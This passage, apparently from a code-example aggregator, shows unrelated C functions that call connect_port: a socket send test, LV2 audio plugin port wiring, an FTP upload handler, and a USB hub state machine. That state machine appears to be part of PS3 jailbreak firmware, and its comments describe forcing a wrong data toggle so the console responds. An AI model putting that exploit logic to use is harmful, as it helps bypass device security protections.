    if (!sock) goto err_socket;

    ret = bind_port(sock, arg_clientport);
    if (ret) goto err_bind;

    buf = (char*)malloc(arg_size);
    if (!buf) goto err_malloc;

    for (i = 0; i < arg_size; i++) {
	buf[i] = i;
    }
    for (i = 0; i < arg_size; i++) {
	buf[i] = (i & ~3) >> (8*(3-(i & 3)));
    }
//    memset(buf, 0x42, arg_size);

    conid = connect_port(sock, arg_servernode, arg_serverport);
    if (conid < 0) goto err_connect;


    if (arg_verbose > 0) {
	printf("Connect to %08x:%d with id %d\n",
	       arg_servernode, arg_serverport, conid);
	printf("Send %d bytes\n",arg_size);

	if ((arg_verbose > 1) && (arg_size > 0)) {
	    if (arg_verbose > 2) {
		dump(buf, 0, arg_size, 0, 16, "send");
	    } else {
		printf(":%s:\n", dumpstr(buf, MIN(arg_size,32)));
	    }
	}
    }

    {
	uint16_t dest = conid;
	int len;
	int offset = 0;

	while (offset < arg_size) {
	    len = sock_send(sock, dest, buf + offset, arg_size - offset);
	    if (len < 0) {
		perror("send");
	    } else {
		if (arg_verbose > 1) {
		    printf("Send bytes %d - %d.\n",
			   offset, offset + len - 1);
		}
		offset += len;
	    }
	}
    }
//    sleep(10);
    free(buf);
    return;
 err_socket:
    perror("socket()");
    exit(1);
 err_bind:
    perror("bind()");
    exit(1);
 err_malloc:
    perror("malloc()");
    exit(1);
 err_connect:
    perror("connect()");
    exit(1);
}
コード例 #19
0
/**
 * ags_recall_lv2_run_load_ports:
 * @recall_lv2_run: the #AgsRecallLv2Run
 *
 * Set up LV2 ports.
 *
 * Since: 2.0.0
 */
void
ags_recall_lv2_run_load_ports(AgsRecallLv2Run *recall_lv2_run)
{
  AgsRecallLv2 *recall_lv2;
  AgsRecallChannelRun *recall_channel_run;
  AgsRecallRecycling *recall_recycling;
  AgsPort *current_port;

  AgsLv2Plugin *lv2_plugin;
  
  GList *plugin_port_start, *plugin_port;
  GList *port;
  GList *list;

  gchar *filename, *effect;
  gchar *specifier, *current_specifier;
  
  guint port_count;
  guint i, j;

  void (*connect_port)(LV2_Handle instance,
		       uint32_t port,
		       void *data_location);

  pthread_mutex_t *recall_mutex;
  pthread_mutex_t *recall_lv2_mutex;
  pthread_mutex_t *port_mutex;

  if(!AGS_IS_RECALL_LV2_RUN(recall_lv2_run)){
    return;
  }
  
  /* get recall mutex */
  pthread_mutex_lock(ags_recall_get_class_mutex());

  recall_mutex = AGS_RECALL(recall_lv2_run)->obj_mutex;
  
  pthread_mutex_unlock(ags_recall_get_class_mutex());

  g_object_get(recall_lv2_run,
	       "parent", &recall_recycling,
	       NULL);

  g_object_get(recall_recycling,
	       "parent", &recall_channel_run,
	       NULL);

  g_object_get(recall_channel_run,
	       "recall-channel", &recall_lv2,
	       NULL);
  
  /* get recall lv2 mutex */
  pthread_mutex_lock(ags_recall_get_class_mutex());
  
  recall_lv2_mutex = AGS_RECALL(recall_lv2)->obj_mutex;
  
  pthread_mutex_unlock(ags_recall_get_class_mutex());

  /* get some fields */
  pthread_mutex_lock(recall_mutex);

  filename = g_strdup(AGS_RECALL(recall_lv2)->filename);
  effect = g_strdup(AGS_RECALL(recall_lv2)->effect);

  port = g_list_copy(AGS_RECALL(recall_lv2)->port);

  connect_port = recall_lv2->plugin_descriptor->connect_port;
  
  pthread_mutex_unlock(recall_mutex);
  
  lv2_plugin = ags_lv2_manager_find_lv2_plugin(ags_lv2_manager_get_instance(),
					       filename, effect);

  g_free(filename);
  g_free(effect);

  g_object_get(lv2_plugin,
	       "plugin-port", &plugin_port_start,
	       NULL);
  
  if(plugin_port_start != NULL){
    plugin_port = plugin_port_start;

    for(i = 0; plugin_port != NULL; i++){
      AgsPluginPort *current_plugin_port;
      
      pthread_mutex_t *plugin_port_mutex;
      
      current_plugin_port = AGS_PLUGIN_PORT(plugin_port->data);

      /* get plugin port mutex */
      pthread_mutex_lock(ags_plugin_port_get_class_mutex());
      
      plugin_port_mutex = current_plugin_port->obj_mutex;

      pthread_mutex_unlock(ags_plugin_port_get_class_mutex());

      if(ags_plugin_port_test_flags(current_plugin_port,
				    AGS_PLUGIN_PORT_CONTROL)){
	pthread_mutex_lock(plugin_port_mutex);
	  
	specifier = g_strdup(current_plugin_port->port_name);
	
	pthread_mutex_unlock(plugin_port_mutex);

	list = ags_port_find_specifier(port, specifier);
	g_free(specifier);

	if(list != NULL){
	  float *port_pointer;
	  
	  guint port_index;
	  
	  current_port = list->data;
	  
	  /* get port mutex */
	  pthread_mutex_lock(ags_port_get_class_mutex());

	  port_mutex = current_port->obj_mutex;
      
	  pthread_mutex_unlock(ags_port_get_class_mutex());

	  /* get port pointer */
	  pthread_mutex_lock(port_mutex);
	    
	  port_pointer = (float *) &(current_port->port_value.ags_port_float);

	  pthread_mutex_unlock(port_mutex);

	  g_object_get(current_plugin_port,
		       "port-index", &port_index,
		       NULL);
	  
	  connect_port(recall_lv2_run->lv2_handle[0],
		       (uint32_t) port_index,
		       (float *) port_pointer);

#ifdef AGS_DEBUG
	g_message("connect port: %d", port_index);
#endif
	}
      }

      /* iterate plugin port */
      plugin_port = plugin_port->next;
    }
  }

  g_list_free(port);

  g_list_free_full(plugin_port_start,
		   g_object_unref);

  g_object_unref(recall_recycling);

  g_object_unref(recall_channel_run);

  g_object_unref(recall_lv2);
}
コード例 #20
0
int main(void)
{
	SetupHardware();

	LED(RED);

	state = init;
	switch_port(0);

	for (;;)
	{
		if (port_cur == 0)
			HUB_Task();

		if (port_cur == 5)
			JIG_Task();

		USB_USBTask();
		
		// connect 1
		if (state == hub_ready && expire == 0)
		{
			LED(GREEN);
                        expire_led = 10;
			connect_port(1);
			state = p1_wait_reset;
		}
		
		if (state == p1_wait_reset && last_port_reset_clear == 1)
		{
			LED(GREEN);
                        expire_led = 10;
			switch_port(1);
			state = p1_wait_enumerate;
		}

		// connect 2
		if (state == p1_ready && expire == 0)
		{
			switch_port(0);
			connect_port(2);
			state = p2_wait_reset;
		}

		if (state == p2_wait_reset && last_port_reset_clear == 2)
		{
			LED(GREEN);
                        expire_led = 10;
			switch_port(2);
			state = p2_wait_enumerate;
		}

		// connect 3
		if (state == p2_ready && expire == 0)
		{
			LED(GREEN);
                        expire_led = 10;
			switch_port(0);
			connect_port(3);
			state = p3_wait_reset;
		}

		if (state == p3_wait_reset && last_port_reset_clear == 3)
		{
			LED(GREEN);
                        expire_led = 10;
			switch_port(3);
			state = p3_wait_enumerate;
		}

		// disconnect 2
		if (state == p3_ready && expire == 0)
		{
			LED(GREEN);
                        expire_led = 10;
			switch_port(0);
			disconnect_port(2);
			state = p2_wait_disconnect;
		}

		if (state == p2_wait_disconnect && last_port_conn_clear == 2)
		{
			LED(GREEN);
                        expire_led = 10;
			state = p4_wait_connect;
			expire = 15;
		}

		// connect 4
		if (state == p4_wait_connect && expire == 0) 
		{
			LED(GREEN);
                        expire_led = 10;
			connect_port(4);
			state = p4_wait_reset;
		}

		if (state == p4_wait_reset && last_port_reset_clear == 4)
		{
			LED(GREEN);
                        expire_led = 10;
			switch_port(4);
			state = p4_wait_enumerate;
		}

		// connect 5
		if (state == p4_ready && expire == 0)
		{
			LED(GREEN);
                        expire_led = 10;
			switch_port(0);
			/* When first connecting port 5, we need to
			   have the wrong data toggle for the PS3 to
			   respond */
			hub_int_force_data0 = 1;
			connect_port(5);
			state = p5_wait_reset;
		}

		if (state == p5_wait_reset && last_port_reset_clear == 5)
		{
			LED(GREEN);
                        expire_led = 10;
			switch_port(5);
			state = p5_wait_enumerate;
		}

		// disconnect 3
		if (state == p5_responded && expire == 0)
		{
			LED(GREEN);
                        expire_led = 10;
			switch_port(0);
			/* Need wrong data toggle again */
			hub_int_force_data0 = 1;
			disconnect_port(3);
			state = p3_wait_disconnect;
		}

		if (state == p3_wait_disconnect && last_port_conn_clear == 3)
		{
			LED(GREEN);
                        expire_led = 10;
			state = p3_disconnected;
			expire = 45;
		}

		// disconnect 5
		if (state == p3_disconnected && expire == 0)
		{
			LED(GREEN);
                        expire_led = 10;
			switch_port(0);
			disconnect_port(5);
			state = p5_wait_disconnect;
		}

		if (state == p5_wait_disconnect && last_port_conn_clear == 5)
		{
			LED(GREEN);
                        expire_led = 10;
			state = p5_disconnected;
			expire = 20;
		}

		// disconnect 4
		if (state == p5_disconnected && expire == 0)
		{
			LED(GREEN);
                        expire_led = 10;
			switch_port(0);
			disconnect_port(4);
			state = p4_wait_disconnect;
		}

		if (state == p4_wait_disconnect && last_port_conn_clear == 4)
		{
			LED(GREEN);
                        expire_led = 10;
			state = p4_disconnected;
			expire = 20;
		}

		// disconnect 1
		if (state == p4_disconnected && expire == 0)
		{
			LED(GREEN);
                        expire_led = 10;
			switch_port(0);
			disconnect_port(1);
			state = p1_wait_disconnect;
		}

		if (state == p1_wait_disconnect && last_port_conn_clear == 1)
		{
			state = p1_disconnected;
			expire = 20;
		}

		// connect 6
		if (state == p1_disconnected && expire == 0)
		{
			switch_port(0);
			connect_port(6);
			state = p6_wait_reset;
			//expire = 0; // nuevo
		}

		if (state == p6_wait_reset && last_port_reset_clear == 6 /*&& expire == 0*/)
		{
			switch_port(6); // esto es por que ya no tenemos respuesta
			state = p6_wait_enumerate;
			
			//disconnect_port(6);
			//state = done;
		}

		// done
		if (state == done)
		{
			LED(GREEN);
		}
	}
}
コード例 #21
0
ファイル: h_stor.c プロジェクト: hydrix1/tacacs
static void h_xstor(struct context *ctx, char *arg, int flags)
{
    char *t;
    int f = -1;
    struct stat st;
    int stou = 0;
    char tbuf[PATH_MAX + 1];

    DebugIn(DEBUG_COMMAND);

    if (ctx->transfer_in_progress) {
	reply(ctx, MSG_501_Transfer_in_progress);
	DebugOut(DEBUG_COMMAND);
	return;
    }

    ctx->outgoing_data = 0;
    if (ctx->dfn > -1 && io_get_cb_i(ctx->io, ctx->dfn) == (void *) accept_data) {
	io_set_i(ctx->io, ctx->dfn);
	io_clr_o(ctx->io, ctx->dfn);
	io_set_cb_e(ctx->io, ctx->dfn, (void *) cleanup_data);
	io_set_cb_h(ctx->io, ctx->dfn, (void *) cleanup_data);
    }

    quota_add(ctx, 0);

    if (ctx->quota_path && (ctx->quota_ondisk >= ctx->quota_limit)) {
	reply(ctx, MSG_451_quota_exceeded);
	logmsg("%s: quota limit reached", ctx->user);
	DebugOut(DEBUG_COMMAND);
	return;
    }

    if (!arg) {
	stou = -1;
	snprintf(tbuf, sizeof(tbuf), "%s/stou.XXXXXX", ctx->cwd);
	arg = tbuf;

	t = buildpath(ctx, arg);
    } else if (acl_binary_only(ctx, arg, (t = buildpath(ctx, arg)))) {
	reply(ctx, MSG_504_no_ascii);
	cleanup_data_reuse(ctx, ctx->dfn);
	DebugOut(DEBUG_COMMAND);
	return;
    }

    st.st_size = 0;

    if (t)
	acl_set_umask(ctx, arg, t);

    if (ctx->anonymous || stou)
	flags |= O_EXCL;

    if (t && (!ctx->anonymous || check_incoming(ctx, t, 077)) &&
	!pickystat_path(ctx, &st, t) &&
	(stat(t, &st), (f = myopen(t, O_RDWR | O_CREAT | O_LARGEFILE | O_NOFOLLOW | flags, ctx->chmod_filemask | (0644 & ~ctx->umask), stou)) > -1)) {

	fcntl(f, F_SETFD, FD_CLOEXEC);

	ctx->quota_filesize_before_stor = st.st_size;
	ctx->quota_update_on_close = 1;

	if (ctx->dfn < 0)
	    connect_port(ctx);

	if (ctx->dfn < 0) {
	    reply(ctx, MSG_431_Opening_datacon_failed);
	    close(f);
	    ctx->dbuf = buffer_free_all(ctx->dbuf);
	    DebugOut(DEBUG_COMMAND);
	    return;
	}

	ctx->ffn = f;
	if (strlen(t) >= sizeof(ctx->filename)) {
	    logerr("buffer too small in %s:%d (%s/%s)", __FILE__, __LINE__, ctx->user, t);
	    reply(ctx, MSG_551_Internal_error);
	    close(f);
	    cleanup(ctx, ctx->dfn);
	    ctx->dbuf = buffer_free_all(ctx->dbuf);
	    DebugOut(DEBUG_COMMAND);
	    return;
	}
	strcpy(ctx->filename, t);
	ctx->filesize = 0;
	ctx->bytecount = 0;

	if (io_get_cb_i(ctx->io, ctx->dfn) == (void *) socket2buffer || is_connected(ctx->dfn)) {
	    if (stou)
		replyf(ctx, "125 FILE: %s\r\n", ctx->filename + ctx->rootlen);
	    else
		replyf(ctx, MSG_125_Starting_dc, ctx->use_ascii ? "ASCII" : "BINARY", ctx->use_tls_d ? "TLS " : "");
	} else {
	    if (stou)
		replyf(ctx, "150 FILE: %s\r\n", ctx->filename + ctx->rootlen);
	    else
		replyf(ctx, MSG_150_Opening_dc, ctx->use_ascii ? "ASCII" : "BINARY", ctx->use_tls_d ? "TLS " : "");
	}

	ctx->transfer_in_progress = 1;

	if (ctx->io_offset) {
	    if (ctx->use_ascii) {
		ctx->offset = 0;
		ctx->remaining = st.st_size;
		io_sched_add(ctx->io, ctx, (void *) skipbytes, 0, 0);
#ifdef WITH_MMAP
		if (use_mmap)
		    ctx->iomode = IOMODE_mmap;
		else
#endif
		    ctx->iomode = IOMODE_read, ctx->iomode_fixed = 1;
	    } else {
		lseek(f, ctx->io_offset, SEEK_SET);
		ctx->io_offset = 0;
	    }
	}

	if (io_get_cb_i(ctx->io, ctx->dfn) == (void *) socket2buffer) {
	    /* already connected */
	    io_clr_o(ctx->io, ctx->dfn);
	    io_set_i(ctx->io, ctx->dfn);
	}

	ctx->transferstart = io_now.tv_sec;
	ctx->count_files++;
    } else {
	if (stou && errno == EEXIST)
	    reply(ctx, MSG_451_unique_file_failure);
	else
	    reply(ctx, MSG_550_Permission_denied);
	cleanup_data_reuse(ctx, ctx->dfn);
    }

    DebugOut(DEBUG_COMMAND);
}
コード例 #22
0
void
ags_recall_lv2_run_run_init_pre(AgsRecall *recall)
{
  AgsRecallLv2 *recall_lv2;
  AgsRecallChannelRun *recall_channel_run;
  AgsRecallRecycling *recall_recycling;
  AgsRecallLv2Run *recall_lv2_run;
  AgsAudioSignal *audio_signal;

  AgsLv2Plugin *lv2_plugin;
  
  AgsConfig *config;

  LV2_Handle *lv2_handle;
  
  float *output, *input;
  
  guint output_lines, input_lines;
  guint samplerate;
  guint buffer_size;
  guint port_count;
  guint i, i_stop;
  
  void (*parent_class_run_init_pre)(AgsRecall *recall);

  void (*connect_port)(LV2_Handle instance,
		       uint32_t port,
		       void *data_location);
  void (*activate)(LV2_Handle instance);
  
  pthread_mutex_t *recall_lv2_mutex;

  /* get recall mutex */
  pthread_mutex_lock(ags_recall_get_class_mutex());

  parent_class_run_init_pre = AGS_RECALL_CLASS(ags_recall_lv2_run_parent_class)->run_init_pre;
  
  pthread_mutex_unlock(ags_recall_get_class_mutex());

  /* call parent */
  parent_class_run_init_pre(recall);

  recall_lv2_run = AGS_RECALL_LV2_RUN(recall);

  g_object_get(recall,
	       "parent", &recall_recycling,
	       NULL);

  g_object_get(recall_recycling,
	       "parent", &recall_channel_run,
	       NULL);

  g_object_get(recall_channel_run,
	       "recall-channel", &recall_lv2,
	       NULL);

  /* set up buffer */
  g_object_get(recall_lv2_run,
	       "source", &audio_signal,
	       NULL);

  g_object_get(audio_signal,
	       "samplerate", &samplerate,
	       "buffer-size", &buffer_size,
	       NULL);
  
  /* get recall lv2 mutex */
  pthread_mutex_lock(ags_recall_get_class_mutex());
  
  recall_lv2_mutex = AGS_RECALL(recall_lv2)->obj_mutex;
  
  pthread_mutex_unlock(ags_recall_get_class_mutex());

  /* get some fields */
  pthread_mutex_lock(recall_lv2_mutex);

  lv2_plugin = recall_lv2->plugin;

  output_lines = recall_lv2->output_lines;
  input_lines = recall_lv2->input_lines;

  connect_port = recall_lv2->plugin_descriptor->connect_port;
  activate = recall_lv2->plugin_descriptor->activate;
  
  pthread_mutex_unlock(recall_lv2_mutex);
  
  /* set up buffer */
  input = NULL;
  output = NULL;
  
  if(input_lines > 0){
    input = (float *) malloc(input_lines *
			     buffer_size *
			     sizeof(float));
  }

  output = (float *) malloc(output_lines *
			    buffer_size *
			    sizeof(float));

  recall_lv2_run->output = output;
  recall_lv2_run->input = input;
  
  /* instantiate lv2 */  
  lv2_handle = (LV2_Handle *) ags_base_plugin_instantiate((AgsBasePlugin *) lv2_plugin,
							  samplerate, buffer_size);

  recall_lv2_run->lv2_handle = lv2_handle;
  
#ifdef AGS_DEBUG
  g_message("instantiate LV2 handle");
#endif

  ags_recall_lv2_run_load_ports(recall_lv2_run);

  /* can't be done in ags_recall_lv2_run_run_init_inter since possebility of overlapping buffers */
  pthread_mutex_lock(recall_lv2_mutex);

  /* connect audio port */
  for(i = 0; i < input_lines; i++){
#ifdef AGS_DEBUG
    g_message("connect in port: %d", recall_lv2->input_port[i]);
#endif
    
    connect_port(recall_lv2_run->lv2_handle[0],
		 recall_lv2->input_port[i],
		 recall_lv2_run->input);
  }

  for(i = 0; i < output_lines; i++){
#ifdef AGS_DEBUG
    g_message("connect out port: %d", recall_lv2->output_port[i]);
#endif
    
    connect_port(recall_lv2_run->lv2_handle[0],
		 recall_lv2->output_port[i],
		 recall_lv2_run->output);
  }

  /* connect event port */
  if(ags_recall_lv2_test_flags(recall_lv2, AGS_RECALL_LV2_HAS_EVENT_PORT)){
    recall_lv2_run->event_port = ags_lv2_plugin_alloc_event_buffer(AGS_RECALL_LV2_DEFAULT_MIDI_LENGHT);
    
    connect_port(recall_lv2_run->lv2_handle[0],
		 recall_lv2->event_port,
		 recall_lv2_run->event_port);
  }
  
  /* connect atom port */
  if(ags_recall_lv2_test_flags(recall_lv2, AGS_RECALL_LV2_HAS_ATOM_PORT)){
    recall_lv2_run->atom_port = ags_lv2_plugin_alloc_atom_sequence(AGS_RECALL_LV2_DEFAULT_MIDI_LENGHT);
    
    connect_port(recall_lv2_run->lv2_handle[0],
		 recall_lv2->atom_port,
		 recall_lv2_run->atom_port);   
  }
  
  /* activate */
  if(activate != NULL){
    activate(recall_lv2_run->lv2_handle[0]);
  }

  pthread_mutex_unlock(recall_lv2_mutex);

  /* set program */
  if(ags_lv2_plugin_test_flags(lv2_plugin, AGS_LV2_PLUGIN_HAS_PROGRAM_INTERFACE)){
    AgsPort *current_port;

    GList *plugin_port_start, *plugin_port;
    GList *port;
    GList *list;
    
    gchar *specifier, *current_specifier;

    float *port_data;

    guint bank, program;
    guint port_count;

    pthread_mutex_t *base_plugin_mutex;
    
    pthread_mutex_lock(recall_lv2_mutex);

    port = g_list_copy(AGS_RECALL(recall_lv2)->port);

    bank = recall_lv2->bank;
    program = recall_lv2->program;
    
    pthread_mutex_unlock(recall_lv2_mutex);

    /* get base plugin mutex */
    pthread_mutex_lock(ags_base_plugin_get_class_mutex());
  
    base_plugin_mutex = AGS_BASE_PLUGIN(lv2_plugin)->obj_mutex;
  
    pthread_mutex_unlock(ags_base_plugin_get_class_mutex());
    
    /* get plugin port */
    pthread_mutex_lock(base_plugin_mutex);

    plugin_port_start = g_list_copy(AGS_BASE_PLUGIN(lv2_plugin)->plugin_port);

    pthread_mutex_unlock(base_plugin_mutex);

    /* create port data */
    port_count = g_list_length(plugin_port_start);
    
    port_data = (float *) malloc(port_count * sizeof(float));

    plugin_port = plugin_port_start;
    
    for(i = 0; i < port_count && plugin_port != NULL; ){
      AgsPluginPort *current_plugin_port;

      pthread_mutex_t *plugin_port_mutex;

      current_plugin_port = AGS_PLUGIN_PORT(plugin_port->data);

      /* get plugin port mutex */
      pthread_mutex_lock(ags_plugin_port_get_class_mutex());
      
      plugin_port_mutex = current_plugin_port->obj_mutex;

      pthread_mutex_unlock(ags_plugin_port_get_class_mutex());

      /* get specifier */
      pthread_mutex_lock(plugin_port_mutex);

      specifier = g_strdup(current_plugin_port->port_name);
 	
      pthread_mutex_unlock(plugin_port_mutex);

      list = ags_port_find_specifier(port, specifier);

      if(list != NULL){
	GValue value = {0,};
	
	current_port = list->data;

	g_value_init(&value,
		     G_TYPE_FLOAT);

	ags_port_safe_read(current_port,
			   &value);
	port_data[i] = g_value_get_float(&value);

	g_value_unset(&value);
      }else{
	port_data[i] = 0.0;
      }

      g_free(specifier);

      /* iterate plugin port */
      plugin_port = plugin_port->next;
    }

    ags_lv2_plugin_change_program(lv2_plugin,
				  recall_lv2_run->lv2_handle[0],
				  bank,
				  program);

    /* reset port data */    
    plugin_port = plugin_port_start;

    for(i = 0; i < port_count && plugin_port != NULL;){
      AgsPluginPort *current_plugin_port;

      pthread_mutex_t *plugin_port_mutex;

      current_plugin_port = AGS_PLUGIN_PORT(plugin_port->data);

      /* get plugin port mutex */
      pthread_mutex_lock(ags_plugin_port_get_class_mutex());
      
      plugin_port_mutex = current_plugin_port->obj_mutex;

      pthread_mutex_unlock(ags_plugin_port_get_class_mutex());

      /* get specifier */
      pthread_mutex_lock(plugin_port_mutex);

      specifier = g_strdup(current_plugin_port->port_name);
 	
      pthread_mutex_unlock(plugin_port_mutex);

      list = ags_port_find_specifier(port, specifier);

      if(list != NULL){
	GValue value = {0,};
	
	current_port = list->data;

	g_value_init(&value,
		     G_TYPE_FLOAT);
	g_value_set_float(&value, port_data[i]);
	
	ags_port_safe_write_raw(current_port,
				&value);

	g_value_unset(&value);
      }
      
      /* iterate plugin port */
      plugin_port = plugin_port->next;
    }
    
    g_free(port_data);

    g_list_free(port);
    g_list_free(plugin_port_start);
  }

  g_object_unref(recall_recycling);

  g_object_unref(recall_channel_run);

  g_object_unref(recall_lv2);

  g_object_unref(audio_signal);
}